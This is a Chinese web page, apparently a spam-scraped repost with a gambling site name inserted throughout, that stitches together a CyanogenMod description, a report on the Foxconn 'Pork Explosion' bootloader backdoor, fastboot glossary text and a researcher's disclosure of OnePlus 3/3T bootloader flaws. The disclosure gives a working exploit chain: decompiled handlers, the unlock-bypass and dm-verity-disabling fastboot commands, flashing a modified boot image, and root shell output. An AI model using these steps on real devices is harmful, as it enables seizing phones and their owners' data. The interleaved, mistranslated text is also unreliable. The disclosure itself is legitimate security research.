澳门葡萄京官方网站 1

CyanogenMod(英语发音:/saɪ.ˈæn.oʊ.ˌdʒɛn.mɒd/),缩写作“CM”,是一个基于Android,供智能手机和平板电脑使用的操作系统固件。它是基于Google澳门葡萄京官方网站 ,发布的Android源码,再加上原创或第三方程式码而开发的开放源代码软件,并使用滚动更新开发模式。
CyanogenMod提供一些在官方Android系统或手机厂商的固件中没有提供的功能,例如支持原生主题)[7]
、支持FLAC音频格式、大量APN的名单、内置OpenVPN客户端、应用权限控制、支持网络共享、处理器超频、超级用户权限、屏幕按钮及其他“平板电脑调整”,以及其他接口功能。根据其开发者,CyanogenMod不含任何间谍软件或捆绑软件[8]
[9]
,亦指比官方固件性能更高及更可靠[10]

最新报道称,包含富士康固件的某些安卓设备可能会因OS
引导装载程序内的调试功能遭受攻击。该功能是一个“后门”,允许入侵者绕过验证程序通过USB访问脆弱的手机。该后门名为“Pork
Explosion”。

“生根” Rooting

澳门葡萄京官方网站 2

引导装载程序(启动Android
OS的代码)中存在“后门”的原因是,多个OEM允许富士康创建生产并供应某些电子固件,用来聚合Android设备的所有部件。

为了使事情变得混乱,术语“根”可以指在计算机世界几个不同的东西,要看具体情况:
**生根
**是获取根(或管理员)权限在设备上的过程。
(“我根我的电话”)。这是在上面的维基百科链路描述的上下文。
“ **根
** ”,也是许多基于UNIX的系统如Linux的管理员用户的实际名称。
(“我登录到root帐户,所以我可以删除一些系统级的文件,一个普通用户无法删除。”)
同样,拥有
root访问权 也意味着有管理员级别的privilages。(“我意识到要删除这些文件,我需要root访问权限。”)
目录也是一个目录树中的“顶”(或第一)分支。
换句话说,它是/在Linux或C:/Windows中。(“我删除这些文件是在根目录”)。

前言

富士康调试功能即是“后门”

S-OFF(安全关闭)模式 (S-OFF (Security OFF) Mode)

在这篇博文中,我公开了OnePlus
3/3T引导加载程序中的两个漏洞。第一个CVE-2017-5626是影响OxygenOS
3.2-4.0.1(4.0.2修补)的高危漏洞。该漏洞允许一个物理对手(或使用ADB/
FASTBOOT访问)来绕过bootloader的锁定状态,即使Allow OEM

美国安全专家Jon Sawyer
8月底发现,用于启动Android设备的固件不需要经过适当的验证程序。Jon
Sawyer称,通过物理访问设备,便能通过USB将设备连接到电脑,并使用特定软件在启动程序过程中与设备交互。

一些引导程序包括一个“安全ON”(又名“S-ON”)模式,即某些业务限制在引导罚款。在某些设备(如T-Mobile
G2的)时,S-ON的bootloader可能使操作系统分区的“只读”模式。对于其他人来说,S-ON可能导致设备采取类似一个完全锁定的引导程序的行为。因此,切换到引导程序S-OFF模式在某些设备上的先决条件,允许操作系统进行修改或替换。注意,S-OFF并不意味着一个设备扎根 。

Unlocking被禁用,无需用户确认并不会触发出厂重置。该漏洞允许内核代码执行(尽管启动时有5秒警告)。第二个漏洞CVE-2017-5624影响至今OxygenOS的所有版本,允许攻击者禁用dm-verity。这些漏洞的组合实现了强大的攻击

持久化的高权限代码执行,而不向用户发出任何警告,并且能够访问原始用户的数据(在受害者输入其凭据后)。

OnePlus
Security披露和承认了这两个漏洞。第一个漏洞CVE-2017-5626于1月23日被披露。它也是由OnePlus工程师独立发现的。CVE-2017-5624于1月16日被披露,在未来的OxygenOS版本中得到修复
-今天的公开它的原因是因为已经有人在1月24日公布它了。

免责声明:我只测试了OnePlus 3,但OnePlus 3T也包含漏洞。

绕过引导加载程序锁(CVE-2017-5626)

OnePlus 3 &3T运行OxygenOS 3.2 – 4.0.1系统,它有两个专用的FASTBOOT
oem命令:

  1. fastboot oem
    4F500301-绕过bootloader的锁-允许使用FASTBOOT访问来解锁设备,无视OEM
    Unlocking,并无需用户确认,没有用户数据擦除(正确的解锁后通常会发生)。此外,在运行此命令后设备仍然报告处于锁定状态。

  2. fastboot oem 4F500302 –
    重置各种引导加载程序设置。例如,它将锁定未加锁的引导加载程序,无需用户确认。

分析引导程序二进制表明其处理程序4F500301的命令非常简单:

// 'oem 4F500301' handler int sub_918427F0() {   magicFlag_dword_91989C10 = 1;   if ( dword_9198D804 != dword_9198D804 )     assert(1, dword_9198D804, dword_9198D804);   return sendOK((int)"", dword_9198D804); } 

因此,它在91989C10设置了某些全局标志(我们命名为magicFlag)。通过观察其处理格式/擦除FASTBOOT命令的过程,我们可以清楚地看到在几项检查之后,magicFlag覆盖设备的锁定状态-刷入或删除分区:

// 'flash' handler const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3) {   char *pname; // r5@1 ...   pname = partitionName;   v4 = a2;   v5 = a3;   if ( returnTRUE1(partitionName, (int)a2) )   {     result = (const char *)sub_918428F0(pname, v6);     if ( (result || magicFlag_dword_91989C10)       && ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) )     {       result = (const char *)sub_918428F0(pname, v10);       if ( !result || magicFlag_dword_91989C10 )         goto LABEL_7;       v8 = dword_9198D804;       if ( dword_9198D804 != dword_9198D804 )         goto LABEL_28;       v11 = "Critical partition flashing is not allowed";     }     else     {       v8 = dword_9198D804;       if ( dword_9198D804 != dword_9198D804 )         goto LABEL_28;       v11 = "Partition flashing is not allowed";     }     return (const char *)FAIL2((int)v11, v10);   } LABEL_7:   ...     if ( *v4 != 0xED26FF3A )     {       if ( *v4 == 0xCE1AD63C )         cmd_flash_meta_img(pname, (unsigned int)v4, v5);       else         cmd_flash_mmc_img(pname, (int)v4, v5);       goto LABEL_10;     }     v7 = v4;   }   cmd_flash_mmc_sparse_img(pname, (int)v7, v5);   ...  } // 'erase' handler int __fastcall sub_91847118(char *partitionName, int a2, int a3) {  ...   v3 = partitionName;   v4 = returnTRUE1(partitionName, a2);   if ( !v4 )   { LABEL_7:     ...     if ( v4 )     {       if ( dword_9198D804 == dword_9198D804 )         return eraseParition(v3);     }     ...   }   v4 = sub_918428F0(v3, v5);   if ( !v4 && !magicFlag_dword_91989C10 )   {     v6 = dword_9198D804;     if ( dword_9198D804 == dword_9198D804 )     {       v7 = "Partition erase is not allowed";       return FAIL2((int)v7, v5);     }     goto LABEL_23;   }   v4 = sub_91842880(v3, v5);   if ( !v4 && !magicFlag_dword_91989C10 )   {     v6 = dword_9198D804;     if ( dword_9198D804 == dword_9198D804 )     {       v7 = "Partition flashing is not allowed";       return FAIL2((int)v7, v5);     } LABEL_23:     assert(v4, v5, v6);   }   v4 = sub_918428F0(v3, v5);   if ( !v4 || magicFlag_dword_91989C10 )     goto LABEL_7;   v6 = dword_9198D804;   ...   v7 = "Critical partition erase is not allowed";   return FAIL2((int)v7, v5); } 

利用CVE-2017-5626进行内核代码执行

通过利用此漏洞,攻击者可以刷入恶意引导映像(其中包含两个内核和Root
RAMFS)来得到自身的平台。但问题是,引导程序和平台检测这样的修改,这被称为验证启动。引导加载程序验证boot和recovery分区-刷入一个修改的boot分区,例如,会在引导时提示以下警告:

澳门葡萄京官方网站 3

另一个不会触发此警告的选项是刷入旧的未修改的引导映像 –
较旧的映像包含可被攻击者利用的已知安全漏洞。

总之,尽管有警告(5秒后自动消失),OnePlus 3 /
3T仍然允许在红色验证状态启动,因此攻击者的代码得到执行。

有无数的方法来证明这种情况的严重性,所以我选择了最简单的方法。

通过修改引导映像:

1.
我添加androidboot.selinux=permissive到内核命令行来设置SELinux的permissive模式。

  1. 我已经修改了ramfsST
    ro.debuggable=1,ro.secure=0,ro.adb.secure=0,并改变了USB配置属性(sys.usb.config),包括启动adb。

然后,我利用此漏洞,刷入修改后的boot.img(evil_boot.img):

λ fastboot flash boot evil_boot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [  0.335s] writing 'boot'... FAILED (remote: Partition flashing is not allowed) finished. total time: 0.358s λ  fastboot oem 4F500301 ... OKAY [  0.020s] finished. total time: 0.021s λ fastboot flash boot  evil_boot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [  0.342s] writing 'boot'... OKAY [  0.135s] finished. total time: 0.480s 

于是我得到了一个root shell,甚至在用户输入他的凭据之前:

OnePlus3:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb), 1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt), 3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 OnePlus3:/ # getenforce Permissive 

OnePlus 3 /
3T内核似乎是在启用LKM的情况下编译的,因此运行内核代码甚至不需要修补/重新编译内核。

所以我创建了一个小的内核模块:

#include <linux/module.h> #include <linux/kdb.h> int init_module(void) {     printk(KERN_ALERT "Hello From Kerneln");     return 1; } 

然后将其加载到内核中:

OnePlus3:/data/local/tmp # insmod ./test.ko OnePlus3:/data/local/tmp # dmesg | grep Hello [19700121_21:09:58.970409]@3 Hello From Kernel 

禁用dm-verity(CVE-2017-5624)

system分区的验证,不是boot&recovery,是通过dm-verity驱动的。我们发现可以命令一个已锁定引导程序唤醒该平台,使用另一个FASTBOOT命令禁止dm-verity:fastboot
oem disable_dm_verity。

该oem disable_dm_verity处理程序如下:

// 'oem disable_dm_verity' handler int sub_9183B8EC() {   int v0; // r0@1   int v1; // r1@1   dmVerity_dword_91960740 = 0;   v0 = sub_91845E10("ANDROID-BOOT!");   if ( dword_9198D804 != dword_9198D804 )     assert(v0, v1, dword_9198D804);   return sendOK((int)"", v1); } 

又一次,91960740设置了一些标志(我们称为dmVerity)。引导加载程序构建内核cmdline时会使用它:

澳门葡萄京官方网站 4

androidboot.enable_dm_verity内核命令行参数传递到ro.boot.enable_dm_verity,然后指示OnePlus的init,是否要禁用dm-verity:

澳门葡萄京官方网站 5

2个漏洞组合利用

这两个漏洞可以组合在一起,用于具有特权的SELinux域代码执行,而不向用户发出任何警告并访问原始用户数据。为了演示这一点(可能有成千上万更好的方法与更高的严重性),我修改了系统分区,添加了一个特权应用程序。可以在/system/priv-app/目录下放置APK下,最终将导致它被添加到priv_app域中。

λ fastboot flash system system-modded.simg target reported max download size of 440401920 bytes erasing 'system'... FAILED (remote: Partition erase is not allowed) finished. total time: 0.014s λ fastboot oem 4F500301 OKAY [  0.020s] finished. total time: 0.021s λ fastboot flash system system-modded.simg target reported max download size of 440401920 bytes erasing 'system'... OKAY [  0.010s] ... sending sparse 'system' 7/7 (268486 KB)... OKAY [  6.748s] writing 'system' 7/7... OKAY [  3.291s] finished. total time: 122.675s λ fastboot oem disable_dm_verity ... OKAY [  0.034s] finished. total time: 0.036s 

事实上,加载priv_app的应用程序上下文如下:

1|OnePlus3:/ $ getprop | grep dm_verity [ro.boot.enable_dm_verity]: [0] OnePlus3:/ $ ps -Z | grep roeeh u:r:priv_app:s0:c512,c768      u0_a16    4764  2200  1716004 74600 SyS_epoll_ 0000000000 S roeeh.fooapp 

【编辑推荐】

这类软件更可能是富士康调试器,但Sawyer能创建自己的客户端并运行命令进入“出厂测试模式”。

简要介绍了FASTBOOT

该测试模式(又名“后门”)能通过Fastboot访问。Fastboot是处理启动命令的协议。Sawyer称,访问后门的启动命令为
“reboot-ftm”,并只能使用定制软件发送到设备,而不通过Android或OEM特有的Fastboot接口。

快速启动(英语:Fastboot)是一个诊断协议,主要用于由一台计算机通过USB连接Android智能手机,修改其闪存文件系统。它是Android
Debug
Bridge库的一部分。
用途[编辑]
利用快速启动协议要求该设备在引导装载程序或第二程序加载器模式下启动,这中情况下只进行最基本的硬件初始化。当设备本身的执行协议通过后,它会接受任何经由USB接口发送过来的命令行指令。

Sawyer称,“显然,调试功能是
“后门”,但并不应该出现在现代设备中,这是富士康方面的重大疏忽。”

FASTBOOT是一个小工具,自带的Android
SDK,可用于重新闪存(软件开发工具包)的分区 您的设备上。
它是对一个替代恢复 模式做安装和更新。由于FASTBOOT模式甚至可以装载Android版在你的设备上启动(当所有未安装的Andr​​oid甚至可以运行),FASTBOOT模式是快速更新固件,无需使用恢复模式非常有用。
事实上,这是经常最初在许多设备上安装恢复映像的首选方式。
进入Fastboot也可以用于开发人员操作像解锁谷歌的Nexus设备的引导程序。并非所有的设备都支持FASTBOOT,但很多人。有两个“边”使用fastboot–计算机侧和器件侧。
通常,您的设备首先是通过USB电缆连接到您的计算机。
然后你引导到设备上的一个“fastboot模式”。
在计算机上,然后运行FASTBOOT工具来发出命令。
**请注意,当设备处于FASTBOOT模式的FASTBOOT命令才有效。
**

通过USB访问“后门”,禁用SELinux

“闪烁”(“flashing”)

Sawyer表示,更糟糕的是,当用户进入“出厂测试模式”,便是“root”用户,可以完全控制手机,并且主要的Android安全组件SELinux会被完全禁用。

闪烁 )是用来描述加载软件的过程中到您的移动设备的通用术语。
在计算机上,等效可能是这样的“重新安装”,虽然不是所有的闪烁过程都需要重新格式化发生。
通常有两种类型的方法来“闪光”的设备:
第一次使用的程序调用
FASTBOOT 这是当它连接你的计算机上运行(通常是通过USB线)到您的设备。
在引导设备进入“FASTBOOT”模式,然后使用程序来“推”的新软件通过电缆连接到设备,安装它。
第二公共闪烁方法使用
恢复模式 设备本身,而无需使用一台计算机。
它通常的工作方式是,要被闪蒸包含更新的文件(通常在结束
的.zip)被直接下载到设备。
然后在设备重新启动进入恢复模式,在该点恢复闪烁新的软件的设备。

“简言之,通过USB可以完全控制,轻松劫持,不需要注册访问设备。该漏洞完全绕过设备的验证和授权控制。这是取证数据提取的主要目标。”

什么是Recovery?

Sawyer补充道,“由于具有在密码保护或加密设备上获取root shell的能力,Pork
Explosion对在取证数据提取、蛮力加密密钥或不需重置用户数据解锁设备引导装载程序方面具有价值。手机厂商未意识到此后门已经置入他们的产品。”

表面上是恢复得意思,实际上它就是一个系层的软件,你可以把它理解为我们电脑上的Ghost,它就是手机上的Ghost了,能够备份/还原、分区、擦除选快、可以升级补丁包,可以刷系统包等等,功能是非常强大的。
Recovery,的全称是ClockworkMod
Recovery
,所以很多人也简称为CWM,或者工程模式。

受影响设备数量未知

“Pork
Explosion”后门影响了大量设备。不幸的是,受影响的OEM和智能手机模型尚不清楚。Sawyer提供一些信息检测检测Android设备是否受Pork
Explosion后门影响:

“若想检测设备,可以查看“ftmboot”和“ftmdata”分区。Ftmboot分区连接传统的Android内核/内存虚拟盘图像,该分区禁用了SELinux,并且adb作为root运行。Ftmdata分区在ftm
bootmode期间安装在/data上。这些分区只是说明设备易受攻击的一个标志。”

(本文源自:E安全)